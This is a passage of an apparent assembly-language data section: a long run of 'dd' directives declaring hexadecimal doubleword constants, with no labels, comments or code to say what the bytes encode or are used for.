98EA7A49h, 0E96BB902h dd 6D5C4300h, 0DBF1A5FAh, 91E407ACh, 0DF036795h, 67E7BE0h dd 3400BAC5h, 7808617Dh, 72DB6BBCh, 3EDE73C6h, 0CB0024A5h dd 37020C16h, 0CA1796FAh, 0C4019B4Ah, 291C15A3h, 48F3CCh dd 0C0E31BB7h, 7356300Ch, 3C4E2400h, 8EF07522h, 97B00A5Bh dd 0E4C816h, 0D6B941E6h, 7100594Dh, 2C7B2310h, 1EEF265Fh dd 25F2CEh, 360BCCE3h, 0FB0012D4h, 0A03BE574h, 848C68h dd 0E8784DB0h, 5D1A593Ch, 0F39B6700h, 4F896D6Ah, 0DE2E00CCh dd 0AC3583B5h, 923DF0C1h, 0D08EA895h, 9AECA3Eh, 8001410Fh dd 60A57A34h, 8CCE072Fh, 0C96D9A3Ch, 0BE192F03h, 4E928FC0h dd 14557030h, 0F647Bh, 0D2729A0Dh, 0D630DCD4h, 2FEB600Fh dd 0E7C07CF1h, 8E1952F0h, 0EA0807B0h, 0F0ABE6A5h, 0CE8FB641h dd 17500106h, 9D2813ACh, 5E4E3080h, 0FF481DF9h, 0B155002Ch dd 0B6CE8969h, 0D023483Ah, 0B045C525h, 8BAE12BEh, 0D0C0C317h dd 9211ED1h, 560A609Dh, 73B08C00h, 1058599Bh, 2C3A00h dd 52636E1Ch, 8E0320h, 21A08399h, 59149419h, 654B40Bh dd 0BC28004Eh, 1E939FDh, 1A86D592h, 406F02E4h, 0A5074A94h dd 65303A00h, 85C6612Ah, 0FC9075h, 4EDFEEF6h, 0B82F5B29h dd 4DC05600h, 87CFA7D3h, 0C98F0370h, 7F2ECB38h, 9B756FA8h dd 41011F00h, 0CEE59AFAh, 0B8F7009Dh, 0EEFE5FBBh, 0CC1D66B1h dd 0AA4E097Bh, 1DDCE0B0h, 135318h, 0F1AB48Eh, 0DB89B8F0h dd 0A300C076h, 0B3C931A9h, 180E8h, 0EE436E64h, 0ACED0D2h dd 0F295D301h, 3EA37C59h, 0E148A340h, 9BF900A7h, 75C0E976h dd 510029C9h, 7DF49EB6h, 0F9C49A9h, 0F3631410h, 82E47EE3h dd 0F1D6D9F0h, 0ACBD3507h, 0CA401DE6h, 6C3063Ah, 0BA71E25Ah dd 2C00EA15h, 0BB4168CEh, 3FEE82B4h, 61074479h, 0B0AD40FFh dd 0A3CA8A71h, 51A8438h, 98D75B91h, 1DD308C0h, 183C2007h dd 707D6000h, 1BB2CBB6h, 85760188h, 740C8D28h, 10C6071h dd 0BE89913Fh, 0A85D0148h, 704B3113h, 0A8DFCh, 7C4A4CB8h dd 0EF976DF9h, 0BD00A0E4h, 3477130Fh, 7D482080h, 0DEAB0037h dd 0F43946F2h, 0E601592Ch, 0DA9B6FAAh, 1E80AD5Fh, 2AD50F13h dd 0A101EA86h, 7489653Eh, 0F8301D2Fh, 9A520788h, 5BCAECh dd 0B190D23Ah, 29465000h, 4C091220h, 38ECF3h, 0BA23F78h dd 0E9FDA6Bh, 50848D00h, 6D74E5Dh, 8A28C077h, 67F94AD3h dd 0C2E6B000h, 0B7B21C12h, 3FD7FE9h, 0EEC86371h, 0F4C0A323h dd 9E001F1Ah, 0A5449C78h, 5172D5h, 35C1A76Bh, 75151617h dd 0BE388C00h, 54D9DE19h, 6AA50556h, 831A4B78h, 1CB90422h dd 0F6D960C8h, 0AB0FBB00h, 0EDFA58ADh, 1147005Ah, 84F0D187h dd 0F1009D98h, 0DDB29CE9h, 0FF42C0h, 0EBAC2777h, 786D20A9h dd 56DEBA00h, 29B40D23h, 3B7900D8h, 0B83A74B1h, 0CBE40CD6h dd 91724200h, 0C91A18D3h, 8C396098h, 3FF90A4h, 5CFAD900h dd 0A9669148h, 90266FA6h, 8B1BBBE0h, 4F001F7Bh, 0D08EBC99h dd 16E3AEh, 610B8342h, 0B0D562CCh, 69F89B07h, 6CC1CF1Bh dd 0D8E4E7FEh, 0B3391E53h, 0CEEBC075h, 0A6200B50h, 0CA063AECh dd 73FBE599h, 7337BF4h, 0B4343827h, 8520A028h, 2400E5CBh dd 184AF003h, 7CFA862h, 5215AEDEh, 87FB00BBh, 32032690h dd 0F21EA7E5h, 670A80C9h, 3E9BEC71h, 5E00ACDDh, 538B09DBh dd 2D0069F5h, 6C4777EAh, 0E9E3FB8h, 0ABDD37A1h, 0C51376C0h dd 8B18B3A4h, 3BCA24C2h, 0D86D0036h, 2685B962h, 275B8A1Ah dd 0BA00FAE8h, 0E2154443h, 13017521h, 32FD0690h, 0D6D4A95Eh dd 0E7E10007h, 86BAB8Eh, 0AD00AAC3h, 0E06111E5h, 622A36h dd 0BED9E8B4h, 0E23D6BBFh, 0C4B04A60h, 30CB23DBh, 9B10DC53h dd 89E036A3h, 9392DA03h, 8870228Bh, 3DC56115h, 4B8F9CFAh dd 48A035FCh, 44C1DD31h, 76D94000h, 0ADF9BAD2h, 16300043h dd 4A289BF3h, 48016A2Dh, 0A7AE4959h, 5AF8CEE8h, 657D00C0h dd 0EF730BFFh, 77001A27h, 2C7FEEE0h, 0F71CBBh, 19D53506h dd 46F8E30Dh, 7E005CE4h, 52CDAB41h, 7D214F1Eh, 0A62800CCh dd 995D8958h, 6001A36h, 9618BD5Ah, 944A7AFh, 5B7D36Dh dd 0E8E73700h, 0D3B853Ah, 30683006h, 20266Fh, 5F868FCAh dd 8E14AF08h, 0A44AA626h, 94004C28h, 799DB96Ch, 1244DFh dd 0F7647643h, 527DDB92h, 58C0FC60h, 0F38D761h, 4FD54FAh dd 4E75B7E3h, 2747F5B0h dd 6C908361h, 3FF09E85h, 0ABA615E6h, 8A67C4C4h, 0EE44E0B6h dd 0AA0015EFh, 29119B32h, 0E2D69Ch, 61108A94h, 2873434Dh dd 0E4F3D000h, 30D77684h, 5CF1E2Ah, 3A9A010Ah, 601FFFEBh dd 2C00A635h, 5B784856h, 90C8E182h, 7F68000Ch, 0ED5E77C5h dd 330059AFh, 0DBABBADCh, 0CE35CBh, 1C06C683h, 0D8BFFF18h dd 7100097Eh, 3B4A4161h, 0D639C4h, 1C3E9CA3h, 9705308Eh dd 0EBA74E1Dh, 0E2CB60C0h, 2A47FBh, 0E18C9EAEh, 1EF228A6h dd 0B77DEB76h, 0BE030298h, 0FEF69A9h, 0F0F1F091h, 17EC0059h dd 0DDBA9B09h, 4200D2D0h, 0A9881A20h, 24FEB852h, 20E7114Ah dd 67FD0098h, 6D038518h, 0E33FDB44h, 4D338036h, 0C36FC0C7h dd 0B273C2h, 2BB7B31Bh, 0F3AFB612h, 0F7125FE6h, 63002A0Eh dd 0ABE6CCEh, 0EBA100ADh, 0D62CE8EFh, 0A700AB6Eh, 0E1DE86B5h dd 8EE53Bh, 0B34323A4h, 362DD208h, 0A6780203h, 0E85F93E8h dd 3AC1C092h, 0AC96FE04h, 13B605E5h, 61BEC274h, 1CD21048h dd 0CD5E3800h, 65E40FA3h, 4348392Eh, 53036201h, 20FE9531h dd 8F00BE38h, 9249DB10h, 186684B2h, 5112CA93h, 9A80FB0Dh dd 546C02DFh, 949DA5CCh, 236F9480h, 300BF0Ah, 8EF967BCh dd 0E2F281h, 847A367Fh, 0E7EB40D7h, 3DC3B918h, 11FABD8h dd 11109A42h, 300C07A9h, 2000EA80h, 8DF5EFD0h, 3E6923E3h dd 6000F8C4h, 851A43A0h, 400F90Eh, 0F1ED51BEh, 45337Fh dd 316224A2h, 0D008B9FFh, 0EA60E463h, 6734E0F7h, 4BA00B2h dd 80AC9AC8h, 7F03934Fh, 1CF71EAFh, 0A7ADE849h, 0DF773019h dd 7ED2E548h, 6F6EED00h, 4621F795h, 9A57001Bh, 42BB65B6h dd 61000FC6h, 8FC243E5h, 2687B14h, 9DD180E9h, 5FE0520Dh dd 0AC02F462h, 0C4A4B11h, 0C0A1423Dh, 7CDA0ECh, 33FF4309h dd 0D13D0D9h, 0D718B853h, 0FBB8E9B3h, 2B460A40h, 0E21B03h dd 0F2792135h, 950EE89Ah, 0C074B929h, 0DEE98A9Ch, 0DB5300C3h dd 0D361A970h, 0D8035884h, 0A40566Ch, 15FAF017h, 0E11100AFh dd 0D67219B5h, 300C02DBh, 70E87A47h, 50E4582Bh, 0F0E7E216h dd 1E05D0ABh, 0FCBE0DCh, 0E9DEC080h, 313B0194h, 3016AA39h dd 0CA188126h, 86DF5987h, 127A98C8h, 5B38F1Ch, 102B9B7h dd 0F211F4E8h, 764980C3h, 6F33A6EAh, 0C310DF0Dh, 75B8B256h dd 0ABF330D0h, 24194400h, 22861D7Ch, 7F430FA1h, 53DDE823h dd 0F840205Dh, 330086D3h, 8E03E2A8h, 3E3746h, 0C1F92EAFh dd 87258A49h, 2D0F6302h, 61B0F4C9h, 0BCF00DF6h, 0B8E70024h dd 537E2935h, 1504C838h, 0E19D2B8Eh, 0C7ABC0C0h, 51980076h dd 548BD9A2h, 0ED001A6Bh, 57BAB494h, 0FFB6E7h, 5DEEDA40h dd 0AF609019h, 94580B00h, 98E26CEBh, 0C9D50001h, 0FD8528C5h dd 8CB02426h, 33002771h, 0DD71FF8Fh, 0B3505Eh, 0F412CDC2h dd 0DF235A24h, 0D20F1000h, 0B5306820h, 0CFEF04E1h, 0C09C92D1h dd 410E7514h, 0A4E830EFh, 0DBE83B03h, 0E83D15D5h, 61A96B06h dd 59F928B0h, 2035C521h, 2C3E8718h, 0A0888084h, 26C6EDFEh dd 0D8280016h, 4B2DF33h, 7E008085h, 0EC64CC35h, 8B5B20h dd 69DE36ADh, 6EEF2255h, 160DC000h, 0ED68D1B8h, 0DF71006Bh dd 4E82011Ah, 1F90B9F6h, 0F007A20Eh, 7354402Dh, 78F21B8h dd 1AE668A0h, 5EBBA1BDh, 58EFF01Eh, 7AAC8048h, 53F1BE00h dd 42C839C3h, 0C10A00F0h, 414F8FACh, 8824635Fh, 60805478h dd 5B6F48F4h, 0A6BD00EEh, 0D17096C1h, 11312CBh, 0D001F723h dd 0E8E890Dh, 8DA874h, 0B7FC313Fh, 9EC5B24h, 1BE63C90h dd 69F06D00h, 2C86E278h, 287CF6h, 873D1DD9h, 40C8F48h dd 0B4223A00h, 3C617F78h, 12F21Bh, 6AC8ABD9h, 7B166611h dd 7DDA4600h, 92CFC49Eh, 0BBF00E0h, 8190769Dh, 0E21611D1h dd 0BF09B231h, 337C803Ah, 353DF93h, 0BEF739B1h, 28039B63h dd 3A180573h, 5843D8ECh, 0C82B0012h, 6C7AED87h, 9100523Eh dd 0C18B8490h, 280AF79h, 2A0328BFh, 0CC603493h, 0E6E4C017h dd 2C0E6F00h, 47D762FDh, 0D370A3h, 93D5A951h, 4997BAE1h dd 9881992Eh, 40BE073Ch, 7570E761h, 7C0988C5h, 4F6A0BA9h dd 84006279h, 5E0B3B34h, 6400CFECh, 11C401Bh, 27FA2BCh dd 6E8BA770h, 0CD408494h, 21071405h, 5DA6EBCBh, 0FF259D91h dd 13B240E8h, 0EE72343Bh, 0ADA28800h, 67EB0h, 24174A81h dd 3F11522Ch, 2EEC13EAh, 5041AD00h, 0BEEB875Eh, 1F0BE677h dd 0C334C7D2h, 45BDFE1Ah, 1F9814E8h, 0C058A47Bh, 8FDA0080h dd 0AEC26C4Ch, 0B2BF0129h, 0C7725FEh, 0FDBEC45Ch, 0B1049098h dd 72C341EFh, 7ECAF490h, 0FC3A01F1h, 0B0E788E9h, 0D8B940CFh dd 907B8AB5h, 8039983Eh, 357AFEAAh, 909441D6h, 0C3840030h dd 62EF365Ch, 323B8042h, 0D4FA9291h, 88484040h, 0FE40Dh dd 0E6D362F1h, 5133804h, 0E3C53500h, 0CA997FEEh, 60A14C2Bh dd 0F1196C00h, 0BF677C51h, 4311A07h, 86404B3Bh, 5BB621h dd 3C1DD52Eh, 3714CFC5h, 0E503DCB0h, 30FD81E6h, 6299B86Ch dd 0DC440067h, 0F77B9890h, 0C63D7466h, 0AC51F2A5h, 7A3FF0F0h dd 4F02687Ah, 74F41E88h, 79274015h, 20C53E02h, 84171200h dd 1B41660Ah, 8F523D01h, 58AEA23Bh, 9A590C20h, 986E7E60h dd 16CF0037h, 3CF83968h, 0F500E798h, 0AE1BE834h, 0D60311h dd 0A2778A12h, 539E7CEBh, 2C9BCB00h, 0C121A7D8h, 242D0080h dd 3F25340Dh, 400073D4h, 7AAC6A3h, 6EF8C0h, 0A4CE4890h dd 58AC174Bh, 0F167731Ch, 0C0DA524Eh, 8FB60521h, 23941DAAh dd 0EB4C099h, 3FFACDA6h, 0F41A931Fh, 1C9897D4h, 0CC4023BCh dd 0C876E80Dh, 0DF370091h, 0AFECEA6h, 690003FAh, 0C4929A54h dd 0B06098ACh, 84F10042h, 6DD3E226h, 1101A0F3h, 0CCFC580Dh dd 0A7C83C48h, 0F24200EBh, 4374E36Bh, 9F01FB8Ch, 77DAB03Ah dd 0B4246075h, 89AA001Ah, 392F77Ah, 0C70010C6h, 7F14D998h dd 2C3ABAh, 70193985h, 9DA6976Ah, 41F46300h, 6076CFDh dd 5EA830E1h, 61E2A0E6h, 866B6A00h, 0EEB4F3F6h, 0A4A01DAh dd 8F87058Eh, 4F40F267h, 83030F6Bh, 0A03CDFFDh, 24200003h dd 203AAC6Ch, 0E900F91Ch, 37D57239h, 0D38701h, 947EECD2h dd 259F9EE6h, 93FCB200h, 3235894Dh, 0EF310E92h, 0B46F46B6h dd 0DD0B9DE0h, 0B702E43Ah, 71B1457Bh, 980C704Bh, 16480070h dd 1B9D9E25h, 91006AE0h, 5F45EFE3h, 135E8864h, 455B1CCh dd 0C085A310h, 22F4F586h, 38549800h, 0ED0AAEF7h, 0D9C10036h dd 145BE00Eh, 6C000903h, 85B67DE1h, 4EB5D5h, 0E525BBC6h dd 33DDF20Dh, 8A533600h, 287159D1h, 899F3F16h, 0B68D0180h dd 0A8F362F2h, 0DD514F09h, 7A40103h, 0ABE35058h, 0A0110078h dd 8AB3BA57h, 7500E33Ah, 70895A5Bh, 27340E6h, 6657A794h dd 4060CFCBh, 9A31148Eh, 4EADF8E2h, 28CA60h, 93C96AFCh dd 0A7419D56h, 58C858C1h, 0E0242761h, 9A3010Fh, 149456B8h dd 3812601Dh, 0BF91FC39h, 8F8A0459h, 1780AEA5h, 0E41A80h dd 5DC1CADAh, 2E6732FDh, 63CFEE00h, 0C9DC4C86h, 3A88000Dh dd 3DCCBEC5h, 0B00C719h, 4D52FDDFh, 7A841F3Ch, 0CE60923h dd 92001E58h, 8B1572B7h, 3F22DB16h, 0D8235C01h, 27FD4FE1h dd 3A6EC0h, 0E96F284h, 4A657C69h, 0B507FD03h, 0E3FCCD01h dd 0F9B655h, 4EAE2DF4h, 488361FBh, 883B3900h, 0BDF5B1B3h dd 0E44C1DF8h, 0C8E8C047h, 0D46931D2h, 0A650CF63h, 0A4E59035h dd 0D1BD1094h, 6E2878F3h dd 703DCDDh, 8FFD5908h, 7708180Fh, 9CCE2095h, 2C0094E6h dd 89AB2B71h, 5275Eh, 5DF7E10Ah, 0FEA1A988h, 1914C903h dd 6096FD4Fh, 0BF2DB038h, 786F645Dh, 97BD8111h, 29A87645h dd 493E7BFEh, 8D0068F7h, 0D7D3CD06h, 0C9196F3Fh, 86083C2Fh dd 0F86D2180h, 0F13AE9CAh, 0E515871Fh, 6A719028h, 4BE05800h dd 0A6291BFDh, 0AE780014h, 9C8E5D9h, 1800DCE6h, 0D0A73532h dd 7A0D60Fh, 0CD5D8FC6h, 3EB40043h, 2A38C1F5h, 9A7300AEh dd 98C8406h, 0DC7A0348h, 3FC0FCFh, 5BF35C90h, 93B0B100h dd 0BBA7B274h, 977572h, 4D306F82h, 5A6C6740h, 375AC00h dd 0BAFEFF65h, 71E11DD0h, 95740FA1h, 72F73D60h, 3607F1FAh dd 19A08DBDh, 0FF053F81h, 170D3E8h, 0A210DD84h, 902A73BBh dd 0E8EA7208h, 0B3A430CDh, 21980A10h, 58D86307h, 650DC8Eh dd 181AF4h, 94CD1345h, 9304367h, 0B737B118h, 88D0AA28h dd 0BE044A2Dh, 66C0CD1Ch, 6E1B085Ch, 61FD5604h, 42597504h dd 242818Ch, 722504B0h, 2CBB2806h, 14983179h, 11086029h dd 8411DDBEh, 42581750h, 0DA220E3Fh, 9A8E23D7h, 14707928h dd 0C9333730h, 80600406h, 3C8894E7h, 4829DE0Bh, 220859DEh dd 0C61B0001h, 0C27F2E97h, 0E0234E6h, 70D63CC7h, 0CF9E01Ch dd 133E0038h, 0EFC8C443h, 0AF01BFFDh, 78BAA9E2h, 8804AEBh dd 0F693A5E8h, 8400F882h, 0EAA67B3Bh, 1F987FD5h, 0C0233CECh dd 3AB6B5Ah, 800DE45h, 0DA823D79h, 3DA36249h, 6D01CE95h dd 0F68A63A4h, 558370C4h, 0F70AA200h, 5170F2FDh, 0C7CA00B9h dd 0EDC3A197h, 9200CCE8h, 0F7DEEC3Ch, 0F6099Ah, 15FEE30Ah dd 8B9002B7h, 691D1600h, 0BF5FAE08h, 885800C1h, 6ABEF7D5h dd 7928FC7Bh, 1400C56Eh, 947DAF70h, 5D243Ch, 1BE5B0F6h dd 7184D22Dh, 0A007CE8h, 0F1D47686h, 181C04C0h, 60BBD0E0h dd 200ACD6h, 0FF635ACDh, 39F3DDh, 1934C0CCh, 91997455h dd 0F8808660h, 1D9DBC8Eh, 0C049812Ah, 18AD7035h, 1438EDB0h dd 0DAA800F0h, 1F761168h, 0AFC900C6h, 94E407F4h, 0B30047B2h dd 111CC2EEh, 0D61EA6h, 1801BDBCh, 47D54672h, 0A595781Fh dd 45296700h, 1D0AE1Dh, 5EDE70Dh, 0C8DA2A19h, 0A03DCCBh dd 510F1CF0h, 405698B7h, 5A0C00BEh, 8746B4CEh, 4B0063FDh dd 2D99C3Dh, 355313Ah, 0A28B1C97h, 0DAF22BD0h, 509BE887h dd 3968959Ch, 0B9BA8D1Fh, 5600C7E4h, 7E381054h, 0CD963B3Bh dd 1EF35107h, 17B700C8h, 5600BD18h, 1F088021h, 0EEAE5Dh dd 579D022Dh, 0BD221D97h, 0FBA8D703h, 0B8097A1Bh, 1FDEAAh dd 4283B1F8h, 535FF6FAh, 5902DF14h, 0B9DC00ACh, 0E63F9497h dd 40AC0F10h, 0E239EE0h, 7AC0E105h, 0C005004h, 81556691h dd 1D4143C4h, 4D7CFBF2h, 0F008FA3Ah, 19733BFCh, 0DE658C00h dd 61EEA67Ah, 0F6980021h, 3B873F62h, 74006D5Bh, 6A2CEAD4h dd 0D2DCB3h, 0A1A4B436h, 0A0F67310h, 0FAB7583Dh, 96007D79h dd 2FFC9A07h, 0F7DDD8h, 0FE152DD4h, 0DC87BDB1h, 0EFD803Ah dd 2095B560h, 312F1D3Bh, 1857C35h, 2DCD0F5h, 0E87017E7h dd 910090D7h, 6A1BDD40h, 9BFE96h, 0F45FF8BEh, 128D6D71h dd 0E45639h, 331508E3h, 21A801h, 0BDDC85C2h, 7FC0AA4Bh dd 6279E500h, 0DAC588Ah, 92500EEh, 43D1D0CBh, 942E2304h dd 0EA1C424Ah, 7A281F40h, 729736CCh, 0F73100A9h, 0B2102C96h dd 0BF049FECh, 790FD732h, 0D3AB6180h, 0A8D900A9h, 0F62566EFh dd 0CF3BC3E9h, 2CBA95h, 0ECADC5CCh, 1E6D12A9h, 8E4FDF55h dd 0C0BE6C35h, 24F5A133h, 0B20239BAh, 0D0A90CE1h, 0E4E0409Dh dd 68F0007Bh, 9E417106h, 0AF2604BBh, 813E1EB7h, 4201D299h dd 0ABDCE3B1h, 13C7E09h, 2B6E58B3h, 0BE7D20A9h, 10840008h dd 945176BCh, 67D90B7Ah, 8685D444h, 0FAF000CBh, 58F1CEAEh dd 3EAC0102h, 80EBA8F8h, 0CCA548D8h, 4A760019h, 5C03BAD2h dd 5301574Ch, 0FB8F08ADh, 0C0DC2D6Ah, 140B98D5h, 0BB95361Dh dd 0E24C5D00h, 0F71A5126h, 0CCB97C09h, 0C0290F94h, 0F19981Dh dd 9B571280h, 45C007E4h, 0CE75F090h, 0DC00D742h, 3B8384ECh dd 929464h, 0E7D673Fh, 0EB6FD230h, 0CF21CB01h, 0E1763345h dd 223AD0h, 0F3B28B61h, 0BFA94C9h, 64852900h, 0F4675B7h dd 0C62F00B9h, 99DA3A2Bh, 0D2716EABh, 2CDAC00h, 527A09C2h dd 0E12A00D3h, 0E2310705h, 66002C3Fh, 78E5ADB5h, 35E043h dd 0F0154B3Bh, 5539C095h, 0D312EC00h, 4ADD3F0Ch, 0AFCE0E74h dd 0D82094C1h, 0AD142F5Dh, 0FB069C14h, 258B07E8h, 26C0D4F1h dd 7921D7F6h, 35D2006Bh, 2ED1D81Ch, 780FEB1Bh, 7C1E0E90h dd 61F1AC87h, 0D8F0C3h, 876D1F09h, 3BB9BFEBh, 928D831Fh dd 880CCDEh, 0EA61BD9Ch, 0F2F8006Eh, 0D7979F8Eh, 0D50E7EB1h dd 6721CC2Ah, 0E690C78Dh, 8738D1h, 357D149Ah, 68ED3417h dd 97C4AA01h, 0B24CB1BBh, 77560F60h, 0B5FECEh, 47D0CFE7h dd 0D8C21832h, 950F9905h, 4A80D3AAh, 0E7384A9h, 4513B1AFh dd 129F46A0h, 6CF253DEh, 49B9B800h, 64E0969Ah, 0CC48012Bh dd 0E8D3395h, 0DCB0F354h, 660676AEh, 5D02F6E1h, 0FFAD0020h dd 946A72C3h, 880049B1h, 2BC00452h, 0FD3D4E23h, 44D03680h dd 0B2802D70h, 4C1E9000h, 7E3C459Bh, 0CD93079Fh, 40546329h dd 3DB9080Eh, 521A060Ah, 8B388EE8h, 21C155B0h, 0B820C050h dd 53EC0DD1h, 2BCE0041h, 2FD2CD4Eh, 0D300137Fh, 590C828Ch dd 1312AB7Dh, 1BB6405Eh, 55E00940h, 0A571C6E3h, 362B2600h dd 48682ED5h, 41E81360h, 2885E86h, 34811627h, 0B1CF4060h dd 0F20DAD00h, 7D80BED2h, 3188F231h, 3A2035C1h, 29E0EC7Ch dd 20F31A7Dh, 0FE0922C8h, 0A0B38647h, 2BD38348h, 7EC5F238h dd 20D607A5h, 0B0DB3DA4h, 2C4E2D92h, 0FD004F7Fh, 5C573AE3h dd 0EE207934h, 1D07CB8h, 0FFE415EFh, 0F1EDEC58h, 0BFBDC414h dd 0C5882250h, 0B46C300h, 7BBCEB45h, 9C93008Dh, 0AD7524CAh dd 0D8FCA04Eh, 9BDC700h, 6CF3D90Eh, 6BEA0FEEh, 32004C94h dd 78A68605h, 9DAAED02h, 0E8B83575h, 21312Ch, 7E805DCCh dd 0A2A70B77h, 98BD5207h, 6DB36A0Dh, 4186E875h, 61E40797h dd 5FD64E67h, 4A2A8AA1h, 0C6BE888h, 0F5348200h, 6CFD10C7h dd 0B3A0081h, 37135AB2h, 0F41E031Fh, 0F2070AF3h, 7316658h dd 41E624FDh, 0AA81F6B4h, 77E37F50h, 4FB7F857h, 98D71507h dd 0F4600C4Eh, 3E581961h, 0E6005B5Ah, 0F0D09044h, 46036E23h dd 0D3FDDD97h, 27B800A3h, 704745A5h, 0F8F8D656h, 0E4B21400h dd 0E861A08Ch, 25CF00F6h, 9D4E747Dh, 0FF05E607h, 0B0D2D00Ah dd 0DD5FE80h, 11C50E9Fh, 0BA0082DAh, 0CA5A91Fh, 0CE5CBC00h dd 0FD20231Ch, 0E7AD3B3Fh, 7DAE5B00h, 0F12DD879h, 7381911Eh dd 3C40E89Fh, 0C2B1BE5Fh, 0C59A003Ah, 0F68C6741h, 6C00F58Ah dd 2CFEB00Ch, 1E5C1102h, 40EC5B38h, 0E0F9B5D1h, 79E8F6DBh dd 397F1700h, 0BD66EA49h, 4F280045h, 0B6CB620h, 3000FA57h dd 47CFBFB7h, 4CFB3Fh, 35C38380h, 6C8D66B1h, 4EE00400h dd 0C958E626h, 122C00A3h, 0BE8EB61Ah, 6B300EC0h, 727D78A9h dd 75440310h, 0DE3D17E0h, 7600A3A3h, 22F86061h, 0E6E6830h dd 8927100Dh, 86DEEB23h, 0BC5C7688h, 0FD663E00h, 9F3F234Ch dd 8D2700FAh, 84FF85F2h, 6100C8A5h, 5E98B5D7h, 650B19h dd 240AE94h, 891CC5E4h, 6D93FC00h, 6362FA88h, 7CF90085h dd 0AF43F355h, 0D70C8F58h dd 7282832Dh, 73F61F88h, 9C6781ECh, 0BE6F3BC2h, 0E69B0009h dd 456A3A71h, 170903AFh, 2501144Bh, 0F8C1A6A1h, 0D3000442h dd 30F40E0Bh, 1EF6B3E6h, 408C4931h, 0ACD9210Ch, 16005380h dd 819B14B1h, 3CE1B56Bh, 26871CD6h, 0B7FC1349h, 0B03AC724h dd 1AEA80A9h, 8FB4693Ch, 128F2871h, 26993D01h, 0AAF9B059h dd 0B537E0F6h, 75CE3C38h, 0FD007E38h, 55135B7Dh, 0A639E9F8h dd 0EE1980C2h, 6DCF933Ah, 484E00D5h, 7945E347h, 2201C37Bh dd 0DF0216DAh, 9C40D75Ch, 0F0C63367h, 0A7EE006Fh, 8659FDC5h dd 4B012173h, 6CF6B09Eh, 92C4A2A6h, 0F496E8EFh, 9566005Fh dd 0B288E713h, 0B4B0378Eh, 0C6A79200h, 4FFD2991h, 1189006Dh dd 475A3008h, 0D9E453BDh, 48C3A3FCh, 0E05413FEh, 303F263Ch dd 22784E10h, 703CC0E4h, 986B0011h, 8D0BABC5h, 0E680001Ah dd 20D19C05h, 0CD78C227h, 63000AF2h, 98FECC38h, 514DAD9h dd 0ACE99717h, 0A0B8009Ah, 82ECFD52h, 0F0676300h, 0CEC94EA5h dd 3DF2D4h, 86BCD1FFh, 0F178E0E9h, 29972C00h, 646BD617h dd 0BE2639C5h, 0FFFE4D0Bh, 0A5838A83h, 2D1C9E7Dh, 7C64A04Fh dd 0BEBC7800h, 3A26C6Eh, 0E48E1902h, 88005188h, 0A6BA5E43h dd 969374h, 0BB4AD19Eh, 34371CE7h, 0A202B700h, 0F710491Eh dd 1EC84h, 0F5D3288Dh, 0F8A1F6B9h, 4C35D600h, 78FC0FB3h dd 711C0614h, 80EAC54h, 440007F8h, 8D7308D1h, 2F96DAh dd 8FAA18D8h, 4B277EDh, 0C3579303h, 88E92DCCh, 3187C9Fh dd 602F94FFh, 0A0A7A60Ch, 0A1A061FDh, 832E583Ah, 0D1DBF76Eh dd 728E00ABh, 11B4D1Fh, 0D0082E5h, 88938F4Bh, 75D4DCE8h dd 0FD62000Eh, 141FEBBEh, 403828Ah, 633F3489h, 5880ACFBh dd 1E6A67h, 6E5D05B1h, 5A82EF1Fh, 240F4B79h, 37CF622h dd 80E1D0DFh, 2A4628h, 0D262C467h, 217FA0FCh, 0FF966A10h dd 0C0C2721Fh, 5C9B3B15h, 9C9019BBh, 1DBF8214h, 35DE14A4h dd 0BC2E63E4h, 40DC03FDh, 4E43F0CDh, 795F07E8h, 3A0FAC18h dd 8070D0h, 88A1566h, 0E99AF99Fh, 91E3FC00h, 254A5163h dd 0AC78C0D3h, 9E585D3Ch, 5593D200h, 438431A9h, 0C8F6B3h dd 7329079Fh, 0F83CB692h, 27249700h, 0D24C6C23h, 0BD540F2Bh dd 9E2A2Ch, 5A16A1FFh, 4002D55h, 0CA069B17h, 9D4B26h, 5EB633C2h dd 0D961B53Bh, 5844BD18h, 2CDF26D0h, 45C6C7h, 4B5D8732h dd 0F400F61Dh, 30DB099Fh, 9B8E078h, 2C492F5Bh, 8FF33C82h dd 98FFA12Eh, 5FE4DAA5h, 0F4165012h, 1D8704ECh, 80DB4A55h dd 34DDA870h, 6AB90915h, 80B03AACh, 516612B8h, 13FFE1h dd 9CDB874Ah, 3C36F6D4h, 70F1DF2h, 0A004C469h, 0DB6F3FBBh dd 967C034Bh, 52CCEA75h, 12AC2100h, 971CEB8h, 965A05ADh dd 86A533BEh, 410076E9h, 48A85DACh, 17CE2F76h, 0C3E4F5h dd 0DE36B06Fh, 890ECDA6h, 801B206Bh, 0C6F2BEE1h, 78940005h dd 0A69AC0D8h, 0C878BAE6h, 3B9D1200h, 59AA1174h, 29A30EF3h dd 58E045ACh, 30BD48BCh, 8008DE6Fh, 7C40FF44h, 8BE40990h dd 73802713h, 59CBF13Ch, 0C20FED00h, 95145EDFh, 73B829h dd 0D87A348Ah, 748FD5BFh, 8D3ACF00h, 0DECF9B3h, 0A4D30627h dd 0A81EA94Dh, 2B30D605h, 0E4003A26h, 0DF92FE45h, 0FA080DACh dd 0F278788Eh, 0BCA3C881h, 2064F935h, 63005588h, 1393CAFEh dd 0C4C0916h, 0ADEA4B10h, 600B4048h, 5CDB3h, 62CFA09Ah dd 0E9FD004Dh, 495DBABDh, 0D400B450h, 8F90FFC5h, 4BAE8885h dd 0D0FAE0ADh, 0F400F09Ah, 41309ECh, 3EF9146Dh, 2F804737h dd 4E417671h, 0E9FF5CD5h, 0D470D0ABh, 0B05E4406h, 18C38Bh dd 28D62D0Ch, 0FC0E3C6Fh, 0FBB7E100h, 47DC6A60h, 10CE001Ah dd 710A4974h, 1F03685h, 0D7CAF900h, 4AD41F63h, 74E1048Eh dd 80163ABAh, 0E2EBB538h, 0B32A0A0Fh, 505F2158h, 6AD8616Fh dd 0C8C24C94h, 57608800h, 86C7350Dh, 1910BA34h, 0C10762C0h dd 0AD73000Eh, 5025BFCEh, 0DD00B47Fh, 93C6C823h, 0ABFD27h dd 9F6C5437h, 1017C208h, 7F51B103h, 0A971D97Ah, 0A8608AA6h dd 0B9450065h, 3CE3DD93h, 0E07297Eh, 4399184Fh, 195A2490h dd 1AFD07A2h, 0B07E51DBh, 0C23C952Ah, 80A3BA39h, 0C44BDE85h dd 0FA91F531h, 0FE21CD0h, 7913C00Ch, 77FF12F9h, 5C7FE600h dd 0C1BE919Ah, 5DD8920Fh, 0CC8014E3h, 6BB18E8h, 0D5EF6B00h dd 58EAC797h, 0F4801C03h, 49A880BAh, 0E829F568h, 86733710h dd 